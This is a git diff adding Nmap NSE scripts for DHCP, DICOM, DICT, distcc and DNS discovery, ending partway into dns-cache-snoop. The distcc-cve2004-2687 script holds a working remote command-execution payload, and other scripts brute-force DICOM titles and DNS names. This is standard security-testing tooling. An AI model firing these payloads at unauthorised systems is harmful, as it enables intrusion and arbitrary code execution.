+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe"}
+
+
+-- We want to run against a specific host if UDP/67 is open
+function portrule(host, port)
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+
+ return shortport.portnumber(67, "udp")(host, port)
+end
+
+action = function(host, port)
+ local dhcptype = (stdnse.get_script_args(SCRIPT_NAME .. ".dhcptype") or "DHCPINFORM"):upper()
+ local dhcptypeid = dhcp.request_types[dhcptype]
+ if not dhcptypeid then
+ return stdnse.format_output(false, "Invalid request type (use "
+ .. table.concat(dhcp.request_types_str, " / ")
+ .. ")")
+ end
+
+ local reqcount = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".requests") or 1)
+ if not reqcount then
+ return stdnse.format_output(false, "Invalid request count")
+ end
+
+ local iface, err = nmap.get_interface_info(host.interface)
+ if not (iface and iface.address) then
+ return stdnse.format_output(false, "Couldn't determine local IP for interface: " .. host.interface)
+ end
+
+ local options = {}
+ local overrides = {}
+
+ local macaddr = (stdnse.get_script_args(SCRIPT_NAME .. ".mac") or "native"):lower()
+ -- Support for legacy argument "randomize_mac"
+ local randomize = (stdnse.get_script_args(SCRIPT_NAME .. ".randomize_mac") or "false"):lower()
+ if randomize == "true" or randomize == "1" then
+ stdnse.debug1("Use %s.mac=random instead of %s.randomize_mac=%s", SCRIPT_NAME, SCRIPT_NAME, randomize)
+ macaddr = "random"
+ end
+ if macaddr ~= "native" then
+ -- Set the scanner as a relay agent
+ overrides.giaddr = string.unpack("<I4", ipOps.ip_to_str(iface.address))
+ end
+ local macaddr_iter
+ if macaddr:find("^ra?nd") then
+ macaddr_iter = function () return rand.random_string(6) end
+ else
+ if macaddr == "native" then
+ macaddr = host.mac_addr_src
+ else
+ macaddr = macaddr:gsub(":", "")
+ if not (#macaddr == 12 and macaddr:find("^%x+$")) then
+ return stdnse.format_output(false, "Invalid MAC address")
+ end
+ macaddr = stdnse.fromhex(macaddr)
+ end
+ macaddr_iter = function () return macaddr end
+ end
+
+ local clientid = stdnse.get_script_args(SCRIPT_NAME .. ".clientid")
+ if clientid then
+ clientid = "\x00" .. clientid -- hardware type 0 presumed
+ else
+ clientid = stdnse.get_script_args(SCRIPT_NAME .. ".clientid-hex")
+ if clientid then
+ clientid = clientid:gsub(":", "")
+ if not clientid:find("^%x+$") then
+ return stdnse.format_output(false, "Invalid hexadecimal client ID")
+ end
+ clientid = stdnse.fromhex(clientid)
+ end
+ end
+ if clientid then
+ if #clientid == 0 or #clientid > 255 then
+ return stdnse.format_output(false, "Client ID must be between 1 and 255 characters long")
+ end
+ table.insert(options, {number = 61, type = "string", value = clientid })
+ end
+
+ local results = {}
+ for i = 1, reqcount do
+ local macaddr = macaddr_iter()
+ stdnse.debug1("Client MAC address: %s", stdnse.tohex(macaddr, {separator = ":"}))
+ local status, result = dhcp.make_request(host.ip, dhcptypeid, iface.address, macaddr, options, nil, overrides)
+ if not status then
+ return stdnse.format_output(false, "Couldn't send DHCP request: " .. result)
+ end
+ table.insert(results, result)
+ end
+
+ if #results == 0 then
+ return nil
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ local response = stdnse.output_table()
+
+ -- Display the results
+ for i, result in ipairs(results) do
+ local result_table = stdnse.output_table()
+
+ if dhcptype ~= "DHCPINFORM" then
+ result_table["IP Offered"] = result.yiaddr_str
+ end
+ for _, v in ipairs(result.options) do
+ if type(v.value) == 'table' then
+ outlib.list_sep(v.value)
+ end
+ result_table[ v.name ] = v.value
+ end
+
+ if(#results == 1) then
+ response = result_table
+ else
+ response[string.format("Response %d of %d", i, #results)] = result_table
+ end
+ end
+
+ return response
+end
diff --git a/scripts/dicom-brute.nse b/scripts/dicom-brute.nse
new file mode 100644
index 0000000..f6a1d84
--- /dev/null
+++ b/scripts/dicom-brute.nse
@@ -0,0 +1,80 @@
+description = [[
+Attempts to brute force the Application Entity Title of a DICOM server (DICOM Service Provider).
+
+Application Entity Titles (AET) are used to restrict responses only to clients knowing the title. Hence,
+ the called AET is used as a form of password.
+]]
+
+---
+-- @usage nmap -p4242 --script dicom-brute <target>
+-- @usage nmap -sV --script dicom-brute <target>
+-- @usage nmap --script dicom-brute --script-args passdb=aets.txt <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 4242/tcp open vrml-multi-use syn-ack
+-- | dicom-brute:
+-- | Accounts:
+-- | Called Application Entity Title:ORTHANC - Valid credentials
+-- |_ Statistics: Performed 5 guesses in 1 seconds, average tps: 5.0
+---
+
+author = "Paulino Calderon <calderon()calderonpale.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "brute"}
+
+local shortport = require "shortport"
+local dicom = require "dicom"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+local brute = require "brute"
+local creds = require "creds"
+
+portrule = shortport.port_or_service({104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open")
+
+Driver = {
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.passonly = true
+ return o
+ end,
+
+ connect = function(self)
+ return true
+ end,
+
+ disconnect = function(self)
+ end,
+
+ login = function(self, username, password)
+ stdnse.debug2("Trying with called AE title:%s", password)
+ local dcm_conn, err = dicom.associate(self.host, self.port, nil, password)
+ if dcm_conn then
+ return true, creds.Account:new("Called Application Entity Title", password, creds.State.VALID)
+ else
+ return false, brute.Error:new("Incorrect AET")
+ end
+
+ end,
+ check = function(self)
+ local dcm_conn, err = dicom.associate(self.host, self.port)
+ if dcm_conn then
+ return false, "DICOM SCU allows any AET"
+ end
+ return true
+ end
+}
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine:setMaxThreads(5)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setOption("passonly", true)
+ local status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/dicom-ping.nse b/scripts/dicom-ping.nse
new file mode 100644
index 0000000..abd5fe3
--- /dev/null
+++ b/scripts/dicom-ping.nse
@@ -0,0 +1,70 @@
+description = [[
+Attempts to discover DICOM servers (DICOM Service Provider) through a partial C-ECHO request.
+ It also detects if the server allows any called Application Entity Title or not.
+
+The script responds with the message "Called AET check enabled" when the association request
+ is rejected due configuration. This value can be bruteforced.
+
+C-ECHO requests are commonly known as DICOM ping as they are used to test connectivity.
+Normally, a 'DICOM ping' is formed as follows:
+* Client -> A-ASSOCIATE request -> Server
+* Server -> A-ASSOCIATE ACCEPT/REJECT -> Client
+* Client -> C-ECHO request -> Server
+* Server -> C-ECHO response -> Client
+* Client -> A-RELEASE request -> Server
+* Server -> A-RELEASE response -> Client
+
+For this script we only send the A-ASSOCIATE request and look for the success code
+ in the response as it seems to be a reliable way of detecting DICOM servers.
+]]
+
+---
+-- @usage nmap -p4242 --script dicom-ping <target>
+-- @usage nmap -sV --script dicom-ping <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 4242/tcp open dicom syn-ack
+-- | dicom-ping:
+-- | dicom: DICOM Service Provider discovered!
+-- |_ config: Called AET check enabled
+--
+-- @xmloutput
+-- <script id="dicom-ping" output="&#xa; dicom: DICOM Service Provider discovered!&#xa;
+-- config: Called AET check enabled"><elem key="dicom">DICOM Service Provider discovered!</elem>
+-- <elem key="config">Called AET check enabled</elem>
+-- </script>
+---
+
+author = "Paulino Calderon <calderon()calderonpale.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "default", "safe", "auth"}
+
+local shortport = require "shortport"
+local dicom = require "dicom"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+
+portrule = shortport.port_or_service({104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open")
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local dcm_conn_status, err = dicom.associate(host, port)
+ if dcm_conn_status == false then
+ stdnse.debug1("Association failed:%s", err)
+ if err == "ASSOCIATE REJECT received" then
+ port.version.name = "dicom"
+ nmap.set_port_version(host, port)
+
+ output.dicom = "DICOM Service Provider discovered!"
+ output.config = "Called AET check enabled"
+ end
+ return output
+ end
+ port.version.name = "dicom"
+ nmap.set_port_version(host, port)
+
+ output.dicom = "DICOM Service Provider discovered!"
+ output.config = "Any AET is accepted (Insecure)"
+ return output
+end
diff --git a/scripts/dict-info.nse b/scripts/dict-info.nse
new file mode 100644
index 0000000..73aaabe
--- /dev/null
+++ b/scripts/dict-info.nse
@@ -0,0 +1,79 @@
+local nmap = require "nmap"
+local match = require "match"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Connects to a dictionary server using the DICT protocol, runs the SHOW
+SERVER command, and displays the result. The DICT protocol is defined in RFC
+2229 and is a protocol which allows a client to query a dictionary server for
+definitions from a set of natural language dictionary databases.
+
+The SHOW server command must be implemented and depending on access will show
+server information and accessible databases. If authentication is required, the
+list of databases will not be shown.
+]]
+
+---
+-- @usage
+-- nmap -p 2628 <ip> --script dict-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 2628/tcp open dict
+-- | dict-info:
+-- | dictd 1.12.0/rf on Linux 3.0.0-12-generic
+-- | On ubu1110: up 15.000, 4 forks (960.0/hour)
+-- |
+-- | Database Headwords Index Data Uncompressed
+-- | bouvier 6797 128 kB 2338 kB 6185 kB
+-- |_ fd-eng-swe 5489 76 kB 77 kB 204 kB
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(2628, "dict", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to dictd server")
+ end
+
+ local probes = {
+ 'client "dict 1.12.0/rf on Linux 3.0.0-12-generic"',
+ 'show server',
+ 'quit',
+ }
+
+ if ( not(socket:send(table.concat(probes, "\r\n") .. "\r\n")) ) then
+ return fail("Failed to send request to server")
+ end
+
+ local srvinfo
+
+ repeat
+ local status, data = socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if ( not(status) ) then
+ return fail("Failed to read response from server")
+ elseif ( data:match("^5") ) then
+ return fail(data)
+ elseif ( data:match("^114") ) then
+ srvinfo = {}
+ elseif ( srvinfo and not(data:match("^%.$")) ) then
+ table.insert(srvinfo, data)
+ end
+ until(not(status) or data:match("^221") or data:match("^%.$"))
+ socket:close()
+
+ -- if last item is an empty string remove it, to avoid trailing line feed
+ srvinfo[#srvinfo] = ( srvinfo[#srvinfo] ~= "" and srvinfo[#srvinfo] or nil )
+
+ return stdnse.format_output(true, srvinfo)
+end
diff --git a/scripts/distcc-cve2004-2687.nse b/scripts/distcc-cve2004-2687.nse
new file mode 100644
index 0000000..e2b09f2
--- /dev/null
+++ b/scripts/distcc-cve2004-2687.nse
@@ -0,0 +1,108 @@
+local nmap = require "nmap"
+local match = require "match"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Detects and exploits a remote code execution vulnerability in the distributed
+compiler daemon distcc. The vulnerability was disclosed in 2002, but is still
+present in modern implementation due to poor configuration of the service.
+]]
+
+---
+-- @usage
+-- nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3632/tcp open distccd
+-- | distcc-exec:
+-- | VULNERABLE:
+-- | distcc Daemon Command Execution
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2004-2687
+-- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | Allows executing of arbitrary commands on systems running distccd 3.1 and
+-- | earlier. The vulnerability is the consequence of weak service configuration.
+-- |
+-- | Disclosure date: 2002-02-01
+-- | Extra information:
+-- |
+-- | uid=118(distccd) gid=65534(nogroup) groups=65534(nogroup)
+-- |
+-- | References:
+-- | https://distcc.github.io/security.html
+-- | https://nvd.nist.gov/vuln/detail/CVE-2004-2687
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
+--
+-- @args cmd the command to run at the remote server
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service(3632, "distcc")
+
+local arg_cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "id"
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local distcc_vuln = {
+ title = "distcc Daemon Command Execution",
+ IDS = {CVE = 'CVE-2004-2687'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+Allows executing of arbitrary commands on systems running distccd 3.1 and
+earlier. The vulnerability is the consequence of weak service configuration.
+]],
+ references = {
+ 'https://nvd.nist.gov/vuln/detail/CVE-2004-2687',
+ 'https://distcc.github.io/security.html',
+ },
+ dates = { disclosure = {year = '2002', month = '02', day = '01'}, },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ distcc_vuln.state = vulns.STATE.NOT_VULN
+
+ local socket = nmap.new_socket()
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to distcc server")
+ end
+
+ local cmds = {
+ "DIST00000001",
+ ("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " ..
+ "'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" ..
+ "-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd),
+ "DOTI00000001A\n",
+ }
+
+ for _, cmd in ipairs(cmds) do
+ if ( not(socket:send(cmd)) ) then
+ return fail("Failed to send data to distcc server")
+ end
+ end
+
+ -- Command could have lots of output, need to cut it off somewhere. 4096 should be enough.
+ local status, data = socket:receive_buf(match.pattern_limit("DOTO00000000", 4096), false)
+
+ if ( status ) then
+ local output = data:match("SOUT%w%w%w%w%w%w%w%w(.*)")
+ if (output and #output > 0) then
+ distcc_vuln.extra_info = stdnse.format_output(true, output)
+ distcc_vuln.state = vulns.STATE.EXPLOIT
+ return report:make_output(distcc_vuln)
+ end
+ end
+end
diff --git a/scripts/dns-blacklist.nse b/scripts/dns-blacklist.nse
new file mode 100644
index 0000000..0ffd7f2
--- /dev/null
+++ b/scripts/dns-blacklist.nse
@@ -0,0 +1,176 @@
+local dnsbl = require "dnsbl"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Checks target IP addresses against multiple DNS anti-spam and open
+proxy blacklists and returns a list of services for which an IP has been flagged. Checks may be limited by service category (eg: SPAM,
+PROXY) or to a specific service name. ]]
+
+---
+-- @usage
+-- nmap --script dns-blacklist --script-args='dns-blacklist.ip=<ip>'
+-- or
+-- nmap -sn <ip> --script dns-blacklist
+--
+-- @output
+-- Pre-scan script results:
+-- | dns-blacklist:
+-- | 1.2.3.4
+-- | PROXY
+-- | dnsbl.tornevall.org - PROXY
+-- | IP marked as "abusive host".
+-- | Proxy is working
+-- | Proxy has been scanned
+-- | SPAM
+-- | dnsbl.inps.de - SPAM
+-- | Spam Received See: http://www.sorbs.net/lookup.shtml?1.2.3.4
+-- | l2.apews.org - SPAM
+-- | list.quorum.to - SPAM
+-- | bl.spamcop.net - SPAM
+-- |_ spam.dnsbl.sorbs.net - SPAM
+--
+-- Supported blacklist list mode (--script-args dns-blacklist.list):
+-- | dns-blacklist:
+-- | PROXY
+-- | socks.dnsbl.sorbs.net
+-- | http.dnsbl.sorbs.net
+-- | misc.dnsbl.sorbs.net
+-- | dnsbl.tornevall.org
+-- | SPAM
+-- | dnsbl.inps.de
+-- | bl.nszones.com
+-- | l2.apews.org
+-- | list.quorum.to
+-- | all.spamrats.com
+-- | bl.spamcop.net
+-- | spam.dnsbl.sorbs.net
+-- |_ sbl.spamhaus.org
+--
+-- @args dns-blacklist.ip string containing the IP to check only needed if
+-- running the script as a prerule.
+--
+-- @args dns-blacklist.mode string containing either "short" or "long"
+-- long mode can sometimes provide additional information to why an IP
+-- has been blacklisted. (default: long)
+--
+-- @args dns-blacklist.list lists all services that are available for a
+-- certain category.
+--
+-- @args dns-blacklist.services string containing a comma-separated list of
+-- services to query. (default: all)
+--
+-- @args dns-blacklist.category string containing the service category to query
+-- eg. spam or proxy (default: all)
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"external", "safe"}
+
+
+-- The script can be run either as a host- or pre-rule
+hostrule = function() return true end
+prerule = function() return true end
+
+local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
+local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
+local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
+local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
+local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
+
+local function listServices()
+ local result = {}
+ if ( "all" == arg_category ) then
+ for cat in pairs(dnsbl.SERVICES) do
+ local helper = dnsbl.Helper:new(cat, arg_mode)
+ local cat_res= helper:listServices()
+ cat_res.name = cat
+ table.insert(result, cat_res)
+ end
+ else
+ result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
+ end
+ return stdnse.format_output(true, result)
+end
+
+local function formatResult(result)
+ local output = {}
+ for _, svc in ipairs(result) do
+ if ( svc.result.details ) then
+ svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
+ table.insert(output, svc.result.details)
+ else
+ table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
+ end
+ end
+ return output
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+dnsblAction = function(host)
+
+ local helper
+ if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
+ return fail("A service filter can't be used without a specific category")
+ elseif( "all" ~= arg_category ) then
+ helper = dnsbl.Helper:new(arg_category, arg_mode)
+ helper:setFilter(arg_services)
+ local status, err = helper:validateFilter()
+ if ( not(status) ) then
+ return fail(("%s"):format(err))
+ end
+ end
+
+ local output = {}
+ if ( helper ) then
+ local result = helper:checkBL(host.ip)
+ if ( #result == 0 ) then return end
+ output = formatResult(result)
+ else
+ for cat in pairs(dnsbl.SERVICES) do
+ helper = dnsbl.Helper:new(cat, arg_mode)
+ local result = helper:checkBL(host.ip)
+ local out_part = formatResult(result)
+ if ( #out_part > 0 ) then
+ out_part.name = cat
+ table.insert(output, out_part)
+ end
+ end
+ if ( #output == 0 ) then return end
+ end
+
+ if ( "prerule" == SCRIPT_TYPE ) then
+ output.name = host.ip
+ end
+
+ return stdnse.format_output(true, output)
+end
+
+
+-- execute the action function corresponding to the current rule
+action = function(...)
+
+ if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
+ return fail("Invalid argument supplied, mode should be either 'short' or 'long'")
+ end
+
+ if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
+ return fail("Invalid IP address was supplied")
+ end
+
+ -- if the list argument was given, just list the services and abort
+ if ( arg_list ) then
+ return listServices()
+ end
+
+ if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
+ return dnsblAction( { ip = arg_IP } )
+ elseif ( "hostrule" == SCRIPT_TYPE ) then
+ return dnsblAction(...)
+ end
+
+end
diff --git a/scripts/dns-brute.nse b/scripts/dns-brute.nse
new file mode 100644
index 0000000..30207cb
--- /dev/null
+++ b/scripts/dns-brute.nse
@@ -0,0 +1,328 @@
+local coroutine = require "coroutine"
+local dns = require "dns"
+local io = require "io"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local target = require "target"
+local rand = require "rand"
+
+description = [[
+Attempts to enumerate DNS hostnames by brute force guessing of common
+subdomains. With the <code>dns-brute.srv</code> argument, dns-brute will also
+try to enumerate common DNS SRV records.
+
+Wildcard records are listed as "*A" and "*AAAA" for IPv4 and IPv6 respectively.
+]]
+-- 2011-01-26
+
+---
+-- @usage
+-- nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
+-- nmap --script dns-brute www.foo.com
+-- @args dns-brute.hostlist The filename of a list of host strings to try.
+-- Defaults to "nselib/data/vhosts-default.lst"
+-- @args dns-brute.threads Thread to use (default 5).
+-- @args dns-brute.srv Perform lookup for SRV records
+-- @args dns-brute.srvlist The filename of a list of SRV records to try.
+-- Defaults to "nselib/data/dns-srv-names"
+-- @args dns-brute.domain Domain name to brute force if no host is specified
+--
+-- @see dns-nsec3-enum.nse
+-- @see dns-ip6-arpa-scan.nse
+-- @see dns-nsec-enum.nse
+-- @see dns-zone-transfer.nse
+--
+-- @output
+-- Pre-scan script results:
+-- | dns-brute:
+-- | DNS Brute-force hostnames
+-- | www.foo.com - 127.0.0.1
+-- | mail.foo.com - 127.0.0.2
+-- | blog.foo.com - 127.0.1.3
+-- | ns1.foo.com - 127.0.0.4
+-- | admin.foo.com - 127.0.0.5
+-- |_ *A: 127.0.0.123
+--
+-- @xmloutput
+-- <table key="DNS Brute-force hostnames">
+-- <table>
+-- <elem key="address">127.0.0.1</elem>
+-- <elem key="hostname">www.foo.com</elem>
+-- </table>
+-- <table>
+-- <elem key="address">127.0.0.2</elem>
+-- <elem key="hostname">mail.foo.com</elem>
+-- </table>
+-- <table>
+-- <elem key="address">127.0.1.3</elem>
+-- <elem key="hostname">blog.foo.com</elem>
+-- </table>
+-- <table>
+-- <elem key="address">127.0.0.4</elem>
+-- <elem key="hostname">ns1.foo.com</elem>
+-- </table>
+-- <table>
+-- <elem key="address">127.0.0.5</elem>
+-- <elem key="hostname">admin.foo.com</elem>
+-- </table>
+-- <elem key="*A">127.0.0.123</elem>
+-- </table>
+-- <table key="SRV results"></table>
+
+author = "Cirrus"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "discovery"}
+
+prerule = function()
+ if not stdnse.get_script_args("dns-brute.domain") then
+ stdnse.debug1("Skipping '%s' %s, 'dns-brute.domain' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+ return true
+end
+
+hostrule = function(host)
+ return true
+end
+
+local function guess_domain(host)
+ local name
+
+ name = stdnse.get_hostname(host)
+ if name and name ~= host.ip then
+ return string.match(name, "%.([^.]+%..+)%.?$") or string.match(name, "^([^.]+%.[^.]+)%.?$")
+ else
+ return nil
+ end
+end
+
+-- Single DNS lookup, returning all results. dtype should be e.g. "A", "AAAA".
+local function resolve(host, dtype)
+ local status, result = dns.query(host, {dtype=dtype,retAll=true})
+ return status and result or false
+end
+
+local function array_iter(array, i, j)
+ return coroutine.wrap(function ()
+ while i <= j do
+ coroutine.yield(array[i])
+ i = i + 1
+ end
+ end)
+end
+
+local record_mt = {
+ __tostring = function(t)
+ return ("%s - %s"):format(t.hostname, t.address)
+ end
+}
+
+local function make_record(hostn, addr)
+ local record = { hostname=hostn, address=addr }
+ setmetatable(record, record_mt)
+ return record
+end
+
+local function thread_main(domainname, results, name_iter)
+ local condvar = nmap.condvar( results )
+ for name in name_iter do
+ for _, dtype in ipairs({"A", "AAAA"}) do
+ local res = resolve(name..'.'..domainname, dtype)
+ if(res) then
+ table.sort(res)
+ if results["*" .. dtype] ~= res[1] then
+ for _,addr in ipairs(res) do
+ local hostn = name..'.'..domainname
+ if target.ALLOW_NEW_TARGETS then
+ stdnse.debug1("Added target: "..hostn)
+ local status,err = target.add(hostn)
+ end
+ stdnse.debug2("Hostname: "..hostn.." IP: "..addr)
+ results[#results+1] = make_record(hostn, addr)
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+local function srv_main(domainname, srvresults, srv_iter)
+ local condvar = nmap.condvar( srvresults )
+ for name in srv_iter do
+ local res = resolve(name..'.'..domainname, "SRV")
+ if(res) then
+ for _,addr in ipairs(res) do
+ local hostn = name..'.'..domainname
+ addr = stringaux.strsplit(":",addr)
+ for _, dtype in ipairs({"A", "AAAA"}) do
+ local srvres = resolve(addr[4], dtype)
+ if(srvres) then
+ for srvhost,srvip in ipairs(srvres) do
+ if target.ALLOW_NEW_TARGETS then
+ stdnse.debug1("Added target: "..srvip)
+ local status,err = target.add(srvip)
+ end
+ stdnse.debug1("Hostname: "..hostn.." IP: "..srvip)
+ srvresults[#srvresults+1] = make_record(hostn, srvip)
+ end
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+local function detect_wildcard(domainname, record)
+ local rand_host1 = rand.random_alpha(24).."."..domainname
+ local rand_host2 = rand.random_alpha(24).."."..domainname
+ local res1 = resolve(rand_host1, record)
+
+ stdnse.debug1("Detecting wildcard for \"%s\" records using random hostname \"%s\".", record, rand_host1)
+ if res1 then
+ stdnse.debug1("Random hostname resolved. Comparing to second random hostname \"%s\".", rand_host2)
+ local res2 = resolve(rand_host2, record)
+ table.sort(res1)
+ table.sort(res2)
+
+ if (res1[1] == res2[1]) then
+ stdnse.debug1("Both random hostnames resolved to the same IP. Wildcard detected.")
+ return res1[1]
+ end
+ end
+
+ return nil
+end
+
+action = function(host)
+ local domainname = stdnse.get_script_args('dns-brute.domain')
+ if not domainname then
+ domainname = guess_domain(host)
+ end
+
+ if not domainname then
+ return string.format("Can't guess domain of \"%s\"; use %s.domain script argument.", stdnse.get_hostname(host), SCRIPT_NAME)
+ end
+
+ if not nmap.registry.bruteddomains then
+ nmap.registry.bruteddomains = {}
+ end
+
+ if nmap.registry.bruteddomains[domainname] then
+ stdnse.debug1("Skipping already-bruted domain %s", domainname)
+ return nil
+ end
+
+ nmap.registry.bruteddomains[domainname] = true
+ stdnse.debug1("Starting dns-brute at: "..domainname)
+ local max_threads = tonumber( stdnse.get_script_args('dns-brute.threads') ) or 5
+ local dosrv = stdnse.get_script_args("dns-brute.srv") or false
+ stdnse.debug1("THREADS: "..max_threads)
+ -- First look for dns-brute.hostlist
+ local fileName = stdnse.get_script_args('dns-brute.hostlist')
+ -- Check fetchfile locations, then relative paths
+ local commFile = (fileName and nmap.fetchfile(fileName)) or fileName
+ -- Finally, fall back to vhosts-default.lst
+ commFile = commFile or nmap.fetchfile("nselib/data/vhosts-default.lst")
+ local hostlist = {}
+ if commFile then
+ for l in io.lines(commFile) do
+ if not l:match("#!comment:") then
+ table.insert(hostlist, l)
+ end
+ end
+ else
+ stdnse.debug1("Cannot find hostlist file, quitting")
+ return
+ end
+
+ local threads, results, srvresults = {}, {}, {}
+ for _, dtype in ipairs({"A", "AAAA"}) do
+ results["*" .. dtype] = detect_wildcard(domainname, dtype)
+ end
+
+ local condvar = nmap.condvar( results )
+ local i = 1
+ local howmany = math.floor(#hostlist/max_threads)+1
+ stdnse.debug1("Hosts per thread: "..howmany)
+ repeat
+ local j = math.min(i+howmany, #hostlist)
+ local name_iter = array_iter(hostlist, i, j)
+ threads[stdnse.new_thread(thread_main, domainname, results, name_iter)] = true
+ i = j+1
+ until i > #hostlist
+ local done
+ -- wait for all threads to finish
+ while( not(done) ) do
+ done = true
+ for thread in pairs(threads) do
+ if (coroutine.status(thread) ~= "dead") then done = false end
+ end
+ if ( not(done) ) then
+ condvar("wait")
+ end
+ end
+
+ if(dosrv) then
+ -- First look for dns-brute.srvlist
+ fileName = stdnse.get_script_args('dns-brute.srvlist')
+ -- Check fetchfile locations, then relative paths
+ commFile = (fileName and nmap.fetchfile(fileName)) or fileName
+ -- Finally, fall back to dns-srv-names
+ commFile = commFile or nmap.fetchfile("nselib/data/dns-srv-names")
+ local srvlist = {}
+ if commFile then
+ for l in io.lines(commFile) do
+ if not l:match("#!comment:") then
+ table.insert(srvlist, l)
+ end
+ end
+
+ i = 1
+ threads = {}
+ howmany = math.floor(#srvlist/max_threads)+1
+ condvar = nmap.condvar( srvresults )
+ stdnse.debug1("SRV's per thread: "..howmany)
+ repeat
+ local j = math.min(i+howmany, #srvlist)
+ local name_iter = array_iter(srvlist, i, j)
+ threads[stdnse.new_thread(srv_main, domainname, srvresults, name_iter)] = true
+ i = j+1
+ until i > #srvlist
+ local done
+ -- wait for all threads to finish
+ while( not(done) ) do
+ done = true
+ for thread in pairs(threads) do
+ if (coroutine.status(thread) ~= "dead") then done = false end
+ end
+ if ( not(done) ) then
+ condvar("wait")
+ end
+ end
+ else
+ stdnse.debug1("Cannot find srvlist file, skipping")
+ end
+ end
+
+ local response = stdnse.output_table()
+ if(#results==0) then
+ setmetatable(results, { __tostring = function(t) return "No results." end })
+ end
+ response["DNS Brute-force hostnames"] = results
+ if(dosrv) then
+ if(#srvresults==0) then
+ setmetatable(srvresults, { __tostring = function(t) return "No results." end })
+ end
+ response["SRV results"] = srvresults
+ end
+ return response
+end
+
diff --git a/scripts/dns-cache-snoop.nse b/scripts/dns-cache-snoop.nse
new file mode 100644
index 0000000..14fcb58
--- /dev/null
+++ b/scripts/dns-cache-snoop.nse
@@ -0,0 +1,233 @@
+local dns = require "dns"
+local formulas = require "formulas"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Performs DNS cache snooping against a DNS server.
+
+There are two modes of operation, controlled by the
+<code>dns-cache-snoop.mode</code> script argument. In
+<code>nonrecursive</code> mode (the default), queries are sent to the
+server with the RD (recursion desired) flag set to 0. The server should
+respond positively to these only if it has the domain cached. In
+<code>timed</code> mode, the mean and standard deviation response times
+for a cached domain are calculated by sampling the resolution of a name
